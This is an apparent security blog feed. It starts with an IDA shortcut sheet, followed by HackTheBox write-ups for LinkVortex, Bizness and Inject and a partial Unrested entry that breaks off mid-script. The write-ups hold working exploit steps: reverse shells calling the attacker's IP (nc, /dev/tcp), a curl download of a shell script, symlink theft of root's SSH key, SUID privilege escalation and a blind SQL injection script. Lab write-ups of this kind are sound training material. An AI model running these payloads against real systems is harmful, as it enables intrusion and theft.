there.\nOlder shortcut sheets differ in a few places. In current docs, Ctrl+S is save, Q is jump to problem or hexadecimal depending on context, and Shift+F5 opens Signatures. It is not the decompiler shortcut.\nHigh Signal Keys Action Shortcut Decompile current function / open pseudocode F5 Toggle disassembly and pseudocode Tab Produce a C file from selected functions or whole program Ctrl+F5 Open Microcode view Ctrl+Shift+F8 Command palette Ctrl+Shift+P Jump Anywhere Ctrl+Alt+G Jump to address G Jump by name Ctrl+L Jump to function Ctrl+P Cross-references for current operand/name X Rename N Set type Y Create function P Stack variables Ctrl+K Strings Shift+F12 Functions Shift+F3 Names Shift+F4 Local Types Shift+F1 Signatures Shift+F5 Breakpoint F2 Start / continue debugger F9 Step into / step over F7 / F8 Run to cursor F4 F5 Family Shortcut Meaning F5 Decompile the current function. In pseudocode, refresh the current decompilation. Tab Jump between disassembly and pseudocode. Ctrl+F5 File -\u0026gt; Produce file -\u0026gt; Create C file, for selected functions or the whole program. Shift+F5 Open the Signatures subview. This is not decompile. Ctrl+Shift+F5 No documented default decompiler shortcut in the current official shortcut docs. Check Options -\u0026gt; Shortcuts... if a plugin or local config uses it. Ctrl+Shift+F8 Open Microcode view. In IDA 9.3, microcode became more interactive: Tab jumps to disassembly and Del toggles delete/restore for an instruction. Command Palette Use Ctrl+Shift+P for Options -\u0026gt; Show command palette.... It lists actions available in the current UI context and lets you fuzzy-search commands without memorizing every shortcut.\nUse it for commands with no obvious default shortcut:\nShow command palette Open subviews Create C file Jump Anywhere Move to folder Lumina actions Plugin actions Use Options -\u0026gt; Shortcuts... to inspect, add, or reset bindings.\nNavigation Action Shortcut Jump to operand Enter Jump in new window Alt+Enter Jump back Esc Jump forward Ctrl+Enter Jump to address G Jump Anywhere Ctrl+Alt+G Jump by name Ctrl+L Jump to function Ctrl+P Previous / next function Ctrl+Shift+Up / Ctrl+Shift+Down Jump to segment Ctrl+S Jump to segment register Ctrl+G Jump to problem Q Jump to entry point Ctrl+E Xrefs for current operand/name X Mark position Alt+M Jump to bookmark Ctrl+M Bookmarks window Ctrl+Shift+M Toggle graph and linear view Space Zoom out to proximity/callgraph view - Jump Anywhere was introduced in IDA 9.2 and improved in IDA 9.3. It searches across addresses, functions, names, local types, and segments. IDA can also map it to G from Options -\u0026gt; Feature Flags..., depending on the version/configuration.\nSearch Action Shortcut Search text Alt+T Search next text Ctrl+T Search sequence of bytes Alt+B Search next sequence of bytes Ctrl+B Search immediate value Alt+I Search next immediate value Ctrl+I Next code Alt+C Next data Ctrl+D Next explored Ctrl+A Next unexplored Ctrl+U Search/filter many list views Ctrl+F Editing And Types Action Shortcut Rename N Set type Y Repeatable comment ; Regular comment : Begin selection Alt+L Make code C Make data D Make string A Make array * Undefine U Insert line before Ins Insert line after Shift+Ins Offset, data segment O Offset, current segment Ctrl+O Offset, any segment Alt+R Offset, user-defined Ctrl+R Struct/union member T Stack variable K Hexadecimal Q Decimal H Binary B Character R Enum member M Change sign _ Bitwise negate ~ String literal options Alt+A Setup data types Alt+D Edit segment Alt+S Change segment register value Alt+G Select union member Alt+Y Undo Ctrl+Z Redo Ctrl+Shift+Z For structs and function prototypes, Y is usually the fastest cleanup key. In IDA 9.3, Options -\u0026gt; General -\u0026gt; Misc -\u0026gt; Setting type renames target controls whether applying a renamed type also renames the target.\nOpen Subviews Subview Shortcut Pseudocode F5 Microcode Ctrl+Shift+F8 Local Types Shift+F1 Functions Shift+F3 Names Shift+F4 Signatures Shift+F5 Segments Shift+F7 Segment Registers Shift+F8 Structures Shift+F9 Enumerations Shift+F10 Type Libraries Shift+F11 Strings Shift+F12 Stack Variables Ctrl+K Cross References Tree Shift+X Bookmarks Ctrl+Shift+M Local Types in recent IDA builds has C type-name autocompletion. Use Ctrl+Space when editing a declaration.\nFunctions Action Shortcut Create function P Edit function Alt+P Set function end E Stack variables Ctrl+K Change stack pointer Alt+K Rename register V Set type Y Jump to current function start Ctrl+P, Enter Jump previous function Ctrl+Shift+Up Jump next function Ctrl+Shift+Down Decompiler Workflow Use this loop for normal reversing:\nFind target function: Ctrl+P, Ctrl+L, G, Ctrl+Alt+G, or xrefs with X. Decompile with F5. Rename variables/functions with N. Fix types with Y. Create structs and apply members with T, K, and Local Types. Move between assembly and pseudocode with Tab. Export selected functions or the whole program with Ctrl+F5 only when you need a C file. Inspect hard cases with Microcode using Ctrl+Shift+F8. In pseudocode:\nAction Shortcut Refresh current decompilation F5 Jump to matching disassembly Tab Follow/decompile function under cursor Enter Open target in new pseudocode window Ctrl+Enter or Ctrl double-click Go back in pseudocode history Esc Rename N Set type Y Copy selection Ctrl+C Microcode Microcode is Hex-Rays\u0026rsquo; intermediate representation between assembly and pseudocode. Use it when pseudocode hides too much or an optimization/obfuscation issue needs lower-level inspection.\nAction Shortcut Open Microcode view Ctrl+Shift+F8 Increase / decrease maturity level \u0026gt; / \u0026lt; Jump to corresponding disassembly Tab Delete / restore microcode instruction Del IDA 9.3 added more interactive microcode work: assertions, instruction deletion with undo, flow graphs, def-use/use-def chain display, compact/detailed mode, value numbers, number origins, and persistent viewer state.\nDebugger Action Shortcut Add/remove breakpoint F2 Start / continue process F9 Terminate process Ctrl+F2 Step into F7 Step over F8 Run until return Ctrl+F7 Run to cursor F4 Breakpoint list Ctrl+Alt+B Stack trace / call stack Ctrl+Alt+S IDA 9.3 improves Android 14-16 native debugging and adds stack-view dereferencing. IDA 9.2 improved x86-64 PE call stacks using unwind info and refreshed the debugger register widget.\nFile And Windows Action Shortcut Parse C header file Ctrl+F9 Create ASM file Alt+F10 Create C file from decompiler Ctrl+F5 Save database Ctrl+S Exit Alt+X or Alt+F4 Windows list / next window Ctrl+Tab Switch to window 1..9 Alt+1..Alt+9 Close window Alt+F3 or Ctrl+F4, depending on platform/config Script command Shift+F2 Focus command line . Leave command line / return focus Esc Calculator ? Lumina Current docs expose Lumina through the Lumina menu and command palette:\nPull all metadata Push all metadata View all metadata Pull current function metadata Push current function metadata Revert current function metadata Older PDF sheets commonly listed F12, Ctrl+F12, and Alt+F12 for Lumina actions. Since the current official shortcuts page does not list those as default bindings, verify Lumina shortcuts in Options -\u0026gt; Shortcuts... on the exact IDA install.\nPwndbg / IDA Integration Modern pwndbg decompiler integration is installed from inside pwndbg:\ndi install ida set integration-provider ida Then open the same binary in IDA and the debugger. The integration lets pwndbg query IDA/Hex-Rays symbols and decompilation.\nUseful debugger-side commands and helpers:\np/x $ida(\u0026#34;main\u0026#34;) b *$ida(\u0026#34;main\u0026#34;) b *$ida(\u0026#34;sub_3C350\u0026#34;) decomp $pc decomp *$ida(\u0026#34;sub_3C350\u0026#34;) pwndbg ida config ida Older pwndbg notes may mention manually running ida_script.py or pwndbg-idascript.py from IDA. Prefer the current di install ida flow unless working with an older pwndbg checkout.\nReferences https://docs.hex-rays.com/release-notes/9_3 https://docs.hex-rays.com/release-notes/9_2 https://docs.hex-rays.com/user-guide/configuration/shortcuts https://docs.hex-rays.com/user-guide/decompiler/interactive https://docs.hex-rays.com/user-guide/user-interface/subviews https://hex-rays.com/blog/ida-9.3-jump-anywhere https://hex-rays.com/blog/igor-tip-of-the-week-02-ida-ui-actions-and-where-to-find-them https://pwndbg.re/pwndbg/latest/tutorials/decompiler-integration/ida-integration/ https://pwndbg.re/stable/tutorials/decompiler-integration/ ","date":"2024-12-08T16:10:00+08:00","permalink":"https://x3ric.com/blog/posts/Ida/","protected":null,"snippet":"Current IDA and Hex-Rays shortcut sheet with decompiler, microcode, debugger, command palette, and pwndbg integration notes.","tags":["notes","reversing","ida","debugging"],"title":"IDA"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.47 dev.linkvortex.htb linkvortex.htb Script to add hosts automatically ip=\u0026#34;10.10.11.47\u0026#34; domain=\u0026#34;dev.linkvortex.htb linkvortex.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV linkvortex.htb Nmap scan report for linkvortex.htb (10.10.11.47) Host is up (0.050s latency). rDNS record for 10.10.11.47: dev.linkvortex.htb Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA) |_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519) 80/tcp open http Apache httpd |_http-server-header: Apache |_http-title: BitByBit Hardware | http-robots.txt: 4 disallowed entries |_/ghost/ /p/ /email/ /r/ |_http-generator: Ghost 5.58 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Subdomain Enumeration:\nffuf -w /usr/share/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://linkvortex.htb -H \u0026#39;Host: FUZZ.linkvortex.htb\u0026#39; -fs 230 dev dirb dev.linkvortex.htb .git git-dumper http://dev.linkvortex.htb ./dump cat ./dump/ghost/core/test/regression/api/admin/authentication.test.js | grep \u0026#34;password\u0026#34; This yields OctopiFociPilfer45\ngit clone https://github.com/0xyassine/CVE-2023-40028 cd CVE-2023-40028 nano ./CVE-2023-40028.sh # change the 127.0.0.1 to your target ./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45 In the dumped .git, we found Dockerfile.ghost, which reveals the container path to config.production.json at /var/lib/ghost/config.production.json.\n/var/lib/ghost/config.production.json Output:\n{ \u0026#34;url\u0026#34;: \u0026#34;http://localhost:2368\u0026#34;, \u0026#34;server\u0026#34;: { \u0026#34;port\u0026#34;: 2368, \u0026#34;host\u0026#34;: \u0026#34;::\u0026#34; }, \u0026#34;mail\u0026#34;: { \u0026#34;transport\u0026#34;: \u0026#34;Direct\u0026#34; }, \u0026#34;logging\u0026#34;: { \u0026#34;transports\u0026#34;: [\u0026#34;stdout\u0026#34;] }, \u0026#34;process\u0026#34;: \u0026#34;systemd\u0026#34;, \u0026#34;paths\u0026#34;: { \u0026#34;contentPath\u0026#34;: \u0026#34;/var/lib/ghost/content\u0026#34; }, \u0026#34;spam\u0026#34;: { \u0026#34;user_login\u0026#34;: { \u0026#34;minWait\u0026#34;: 1, \u0026#34;maxWait\u0026#34;: 604800000, \u0026#34;freeRetries\u0026#34;: 5000 } }, \u0026#34;mail\u0026#34;: { \u0026#34;transport\u0026#34;: \u0026#34;SMTP\u0026#34;, \u0026#34;options\u0026#34;: { \u0026#34;service\u0026#34;: \u0026#34;Google\u0026#34;, \u0026#34;host\u0026#34;: \u0026#34;linkvortex.htb\u0026#34;, \u0026#34;port\u0026#34;: 587, \u0026#34;auth\u0026#34;: { \u0026#34;user\u0026#34;: \u0026#34;bob@linkvortex.htb\u0026#34;, \u0026#34;pass\u0026#34;: \u0026#34;fibber-talented-worth\u0026#34; } } } } This yields fibber-talented-worth\nssh bob@linkvortex.htb cat user.txt sudo -l Output:\n(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png cat /opt/ghost/clean_symlink.sh #!/bin/bash QUAR_DIR=\u0026#34;/var/quarantined\u0026#34; if [ -z $CHECK_CONTENT ];then CHECK_CONTENT=false fi LINK=$1 if ! [[ \u0026#34;$LINK\u0026#34; =~ \\.png$ ]]; then /usr/bin/echo \u0026#34;! First argument must be a png file !\u0026#34; exit 2 fi if /usr/bin/sudo /usr/bin/test -L $LINK;then LINK_NAME=$(/usr/bin/basename $LINK) LINK_TARGET=$(/usr/bin/readlink $LINK) if /usr/bin/echo \u0026#34;$LINK_TARGET\u0026#34; | /usr/bin/grep -Eq \u0026#39;(etc|root)\u0026#39;;then /usr/bin/echo \u0026#34;! Trying to read critical files, removing link [ $LINK ] !\u0026#34; /usr/bin/unlink $LINK else /usr/bin/echo \u0026#34;Link found [ $LINK ] , moving it to quarantine\u0026#34; /usr/bin/mv $LINK $QUAR_DIR/ if $CHECK_CONTENT;then /usr/bin/echo \u0026#34;Content:\u0026#34; /usr/bin/cat $QUAR_DIR/$LINK_NAME 2\u0026gt;/dev/null fi fi fi The script quarantines .png symbolic links, prevents access to critical files (/etc or /root), and optionally displays file contents (CHECK_CONTENT=true), making it exploitable if symbolic links point to sensitive files outside /etc or /root.\nln -s /root/root.txt pwn.txt ln -s /home/bob/pwn.txt pwn.png sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/pwn.png Reveals the root flag.\nBeyond Root Just the same but for the root user private key:\nln -s /root/.ssh/id_rsa hacking.txt ln -s /home/bob/hacking.txt bild.png sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/bild.png echo -n \u0026#39;Waiting for the key to be copied. Press Enter to continue: \u0026#39;; read nano /tmp/id_rsa chmod 600 /tmp/id_rsa ssh -i /tmp/id_rsa root@127.0.0.1 Copy the id_rsa private key to your machine and use it to SSH into the target as root from your local system if needed.\nSummary LinkVortex: use CVE-2023-40028 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-12-08T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-LinkVortex/","protected":null,"snippet":"LinkVortex: use CVE-2023-40028 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","docker","cve-2023-40028"],"title":"HackTheBox LinkVortex Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.252 bizness.htb Script to add hosts automatically ip=\u0026#34;10.10.11.252\u0026#34; domain=\u0026#34;bizness.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV bizness.htb Nmap scan report for bizness.htb (10.10.11.252) Host is up (0.051s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA) | 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA) |_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519) 80/tcp open http nginx 1.18.0 |_http-server-header: nginx/1.18.0 |_http-title: Did not follow redirect to https://bizness.htb/ 443/tcp open ssl/http nginx 1.18.0 | ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK | Not valid before: 2023-12-14T20:03:40 |_Not valid after: 2328-11-10T20:03:40 |_ssl-date: TLS randomness does not represent time |_http-server-header: nginx/1.18.0 | tls-nextprotoneg: |_ http/1.1 |_http-title: 400 The plain HTTP request was sent to HTTPS port | tls-alpn: |_ http/1.1 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel dirb \u0026#39;https://bizness.htb/\u0026#39; https://bizness.htb/accounting/control/main\nPowered by Apache OFBiz. Release 18\nCVE-2023-51467 and CVE-2023-49070 nc -lvnp 9001 git clone https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass cd Apache-OFBiz-Authentication-Bypass vpnip=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) python exploit.py --url \u0026#39;https://bizness.htb\u0026#39; --cmd \u0026#34;nc -c /bin/sh $vpnip 9001\u0026#34; Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; cat /home/ofbiz/user.txt grep --binary-files=text -rni \u0026#39;currentpassword\u0026#39; /opt/ofbiz/runtime git clone https://github.com/duck-sec/Apache-OFBiz-SHA1-Cracker cd Apache-OFBiz-SHA1-Cracker python OFBiz-crack.py --hash-string \u0026#39;$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I\u0026#39; --wordlist \u0026#39;/usr/share/dict/rockyou.txt\u0026#39; This yields monkeybizness\nsu cat /root/root.txt Summary Bizness: use CVE-2023-49070 and CVE-2023-51467 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-12-05T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Bizness/","protected":null,"snippet":"Bizness: use CVE-2023-49070 and CVE-2023-51467 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","cve-2023-49070","cve-2023-51467"],"title":"HackTheBox Bizness Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.204 inject.htb Script to add hosts automatically ip=\u0026#34;10.10.11.204\u0026#34; domain=\u0026#34;inject.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV inject.htb Nmap scan report for inject.htb (10.10.11.204) Host is up (0.051s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA) | 256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA) |_ 256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519) 8080/tcp open nagios-nsca Nagios NSCA |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel http://10.10.11.204:8080/\nhttp://10.10.11.204:8080/upload\nLfi curl -s \u0026#39;http://10.10.11.204:8080/show_image?img=../../../../../../etc/passwd\u0026#39; | grep sh$ curl -s \u0026#39;http://10.10.11.204:8080/show_image?img=pwn\u0026#39; | jq Output\n{ \u0026#34;timestamp\u0026#34;: \u0026#34;2024-12-05T05:22:30.253+00:00\u0026#34;, \u0026#34;status\u0026#34;: 500, \u0026#34;error\u0026#34;: \u0026#34;Internal Server Error\u0026#34;, \u0026#34;message\u0026#34;: \u0026#34;URL [file:/var/www/WebApp/src/main/uploads/pwn] cannot be resolved in the file system for checking its content length\u0026#34;, \u0026#34;path\u0026#34;: \u0026#34;/show_image\u0026#34; } curl -s \u0026#39;http://10.10.11.204:8080/show_image?img=../../../pom.xml\u0026#39; Realpath:\ncurl -s \u0026#39;http://10.10.11.204:8080/show_image?img=../../../../../../../../../var/www/WebApp/pom.xml\u0026#39; \u0026gt; pom.xml snyk test --file=pom.xml CVE-2022-22963 Output\n✗ Remote Code Execution [Critical Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKCLOUD-2436645] in org.springframework.cloud:spring-cloud-function-context@3.2.2 introduced by org.springframework.cloud:spring-cloud-function-web@3.2.2 \u0026gt; org.springframework.cloud:spring-cloud-function-context@3.2.2 https://www.exploit-db.com/exploits/51577\nwget https://www.exploit-db.com/raw/51577 -O poc vpnip=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) echo -e \u0026#39;/bin/bash -i \u0026gt;\u0026amp; /dev/tcp/\u0026#39;$vpnip\u0026#39;/9001 0\u0026gt;\u0026amp;1\u0026#39; \u0026gt; rev.sh python -m http.server Listener\nnc -lvnp 9001 python poc --url \u0026#39;http://10.10.11.204:8080/functionRouter\u0026#39; --command \u0026#39;curl http://10.10.14.18:8000/rev.sh -o /tmp/rev.sh\u0026#39; python poc --url \u0026#39;http://10.10.11.204:8080/functionRouter\u0026#39; --command \u0026#39;bash /tmp/rev.sh\u0026#39; Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; cat /home/frank/.m2/settings.xml su phil cat /home/phil/user.txt Although I rarely mention using pspy on Linux, it\u0026rsquo;s essential to deploy it regularly—similar to linpeas on Linux or BloodHound on Windows—particularly when you\u0026rsquo;re stuck.\ncurl -s http://10.10.14.18:8000/pspy64 -o ps chmod +x ps ./ps After execution, we observe numerous Ansible scripts in the output.\n/usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/ Create an Ansible playbook designed to be executed with root privileges.\ncd /opt/automation/tasks/ cat playbook_1.yml nano shell.yml - hosts: localhost tasks: - name: Set SUID bit on /bin/bash ansible.builtin.shell: cmd: \u0026#34;/usr/bin/chmod +s /bin/bash\u0026#34; Now, we just wait.\nwatch -n 1 \u0026#39;ls -la /bin/bash\u0026#39; -rwxr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash\nNow, we just wait for the SUID changes to take effect.\n-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash\nbash -p cat /root/root.txt Summary Inject: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.\n","date":"2024-12-05T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Inject/","protected":null,"snippet":"Inject: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.","tags":["htb","windows","linux","active-directory","cve-2022-22963"],"title":"HackTheBox Inject Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.50 unrested.htb Script to add hosts automatically ip=\u0026#34;10.10.11.50\u0026#34; domain=\u0026#34;unrested.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping ports=$(nmap -p- --min-rate=1000 -T4 unrested.htb | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) nmap -p$ports -sC -sV unrested.htb Nmap scan report for unrested.htb (10.10.11.50) Host is up (0.051s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-title: Site doesn\u0026#39;t have a title (text/html). |_http-server-header: Apache/2.4.52 (Ubuntu) 10050/tcp open tcpwrapped 10051/tcp open ssl/zabbix-trapper? Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel SQL Injection CVE-2024-42327 https://support.zabbix.com/browse/ZBX-25623\nZabbixApi\nauth=$(curl -s --request POST \\ --url \u0026#39;http://unrested.htb/zabbix/api_jsonrpc.php\u0026#39; \\ --header \u0026#39;Content-Type: application/json-rpc\u0026#39; \\ --data \u0026#39;{ \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;user.login\u0026#34;, \u0026#34;params\u0026#34;: { \u0026#34;username\u0026#34;: \u0026#34;matthew\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;96qzn0h2e1k3\u0026#34; }, \u0026#34;id\u0026#34;: 1 }\u0026#39; | jq -r \u0026#39;.result\u0026#39;) echo \u0026#34;Auth token: $auth\u0026#34; echo \u0026#39;Updating user groups...\u0026#39; curl -s --request POST \\ --url \u0026#39;http://unrested.htb/zabbix/api_jsonrpc.php\u0026#39; \\ --header \u0026#39;Content-Type: application/json-rpc\u0026#39; \\ --data \u0026#39;{ \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;user.update\u0026#34;, \u0026#34;params\u0026#34;: { \u0026#34;userid\u0026#34;: \u0026#34;3\u0026#34;, \u0026#34;usrgrps\u0026#34;: [ {\u0026#34;usrgrpid\u0026#34;: \u0026#34;13\u0026#34;}, {\u0026#34;usrgrpid\u0026#34;: \u0026#34;7\u0026#34;} ] }, \u0026#34;auth\u0026#34;: \u0026#34;\u0026#39;\u0026#34;$auth\u0026#34;\u0026#39;\u0026#34;, \u0026#34;id\u0026#34;: 1 }\u0026#39; | jq echo -e \u0026#34;\\nFetching user details...\u0026#34; curl -s --request POST \\ --url \u0026#39;http://unrested.htb/zabbix/api_jsonrpc.php\u0026#39; \\ --header \u0026#39;Content-Type: application/json-rpc\u0026#39; \\ --data \u0026#39;{ \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;user.get\u0026#34;, \u0026#34;params\u0026#34;: { \u0026#34;output\u0026#34;: [\u0026#34;userid\u0026#34;, \u0026#34;3\u0026#34;], \u0026#34;selectUsrgrps\u0026#34;: [\u0026#34;usrgrpid\u0026#34;, \u0026#34;name\u0026#34;], \u0026#34;filter\u0026#34;: { \u0026#34;alias\u0026#34;: \u0026#34;matthew\u0026#34; } }, \u0026#34;auth\u0026#34;: \u0026#34;\u0026#39;\u0026#34;$auth\u0026#34;\u0026#39;\u0026#34;, \u0026#34;id\u0026#34;: 1 }\u0026#39; | jq echo \u0026#39;CVE-2024-42327\u0026#39; time curl -s --request POST \\ --url \u0026#39;http://unrested.htb/zabbix/api_jsonrpc.php\u0026#39; \\ --header \u0026#39;Content-Type: application/json\u0026#39; \\ --data \u0026#39;{ \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;user.get\u0026#34;, \u0026#34;params\u0026#34;: { \u0026#34;output\u0026#34;: [\u0026#34;userid\u0026#34;, \u0026#34;username\u0026#34;], \u0026#34;selectRole\u0026#34;: [\u0026#34;roleid\u0026#34;, \u0026#34;name AND (SELECT 1 FROM (SELECT SLEEP(5))A)\u0026#34;], \u0026#34;editable\u0026#34;: 1 }, \u0026#34;auth\u0026#34;: \u0026#34;\u0026#39;\u0026#34;$auth\u0026#34;\u0026#39;\u0026#34;, \u0026#34;id\u0026#34;: 1 }\u0026#39; -o /dev/null cat \u0026gt; req \u0026lt;\u0026lt;EOF POST /zabbix/api_jsonrpc.php HTTP/1.1 Accept-Encoding: gzip, deflate, br Content-Length: 358 Host: 10.10.11.50:80 Content-Type: application/json-rpc Connection: keep-alive { \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;user.get\u0026#34;, \u0026#34;params\u0026#34;: { \u0026#34;output\u0026#34;: [\u0026#34;userid\u0026#34;, \u0026#34;username\u0026#34;], \u0026#34;selectRole\u0026#34;: [ \u0026#34;roleid\u0026#34;, \u0026#34;name *\u0026#34; ], \u0026#34;editable\u0026#34;: 1 }, \u0026#34;auth\u0026#34;: \u0026#34;$auth\u0026#34;, \u0026#34;id\u0026#34;: 1 } EOF sqlmap -r \u0026#34;$(pwd)/req\u0026#34; --dbs --batch Script\nimport requests from datetime import datetime import string import sys from concurrent.futures import ThreadPoolExecutor URL = \u0026#34;http://unrested.htb/zabbix/api_jsonrpc.php\u0026#34; TRUE_TIME = 1 ROW = 0 USERNAME = \u0026#34;matthew\u0026#34; PASSWORD = \u0026#34;96qzn0h2e1k3\u0026#34; def authenticate(): payload = { \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;user.login\u0026#34;, \u0026#34;params\u0026#34;: { \u0026#34;username\u0026#34;: USERNAME, \u0026#34;password\u0026#34;: PASSWORD }, \u0026#34;id\u0026#34;: 1 } response = requests.post(URL, json=payload) if response.status_code == 200: try: response_json = response.json() auth_token = response_json.get(\u0026#34;result\u0026#34;) if auth_token: print(f\u0026#34;Login successful! Auth token: {auth_token}\u0026#34;) return auth_token else: print(f\u0026#34;Login failed. Response: {response_json}\u0026#34;) except Exception as e: print(f\u0026#34;Error: {str(e)}\u0026#34;) else: print(f\u0026#34;HTTP request failed with status code {response.status_code}\u0026#34;) def send_injection(auth_token, position, char): payload = { \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;user.get\u0026#34;, \u0026#34;params\u0026#34;: { \u0026#34;output\u0026#34;: [\u0026#34;userid\u0026#34;, \u0026#34;username\u0026#34;], \u0026#34;selectRole\u0026#34;: [ \u0026#34;roleid\u0026#34;, f\u0026#34;name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME} - (IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF)\u0026#34; ], \u0026#34;editable\u0026#34;: 1, }, \u0026#34;auth\u0026#34;: auth_token, \u0026#34;id\u0026#34;: 1 } before_query = datetime.now().timestamp() response = requests.post(URL, json=payload) after_query = datetime.now().timestamp() response_time = after_query - before_query return char, response_time def test_characters_parallel(auth_token, position): with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(send_injection, auth_token, position, char): char for char in string.printable} for future in futures: char, response_time = future.result() if TRUE_TIME - 0.5 \u0026lt; response_time \u0026lt; TRUE_TIME + 0.5: return char return None def print_progress(extracted_value): sys.stdout.write(f\u0026#34;\\rExtracting admin session: {extracted_value}\u0026#34;) 